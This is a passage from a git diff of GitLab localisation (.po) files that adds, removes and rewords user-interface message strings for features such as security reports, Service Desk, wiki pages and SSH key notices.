+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ko/gitlab.po b/locale/ko/gitlab.po
index 3571e020a4d..b510fd0b614 100644
--- a/locale/ko/gitlab.po
+++ b/locale/ko/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ko\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:56\n"
+"PO-Revision-Date: 2021-04-02 00:17\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] "%dê°œì˜ ë³€ê²½ëœ íŒŒì¼"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
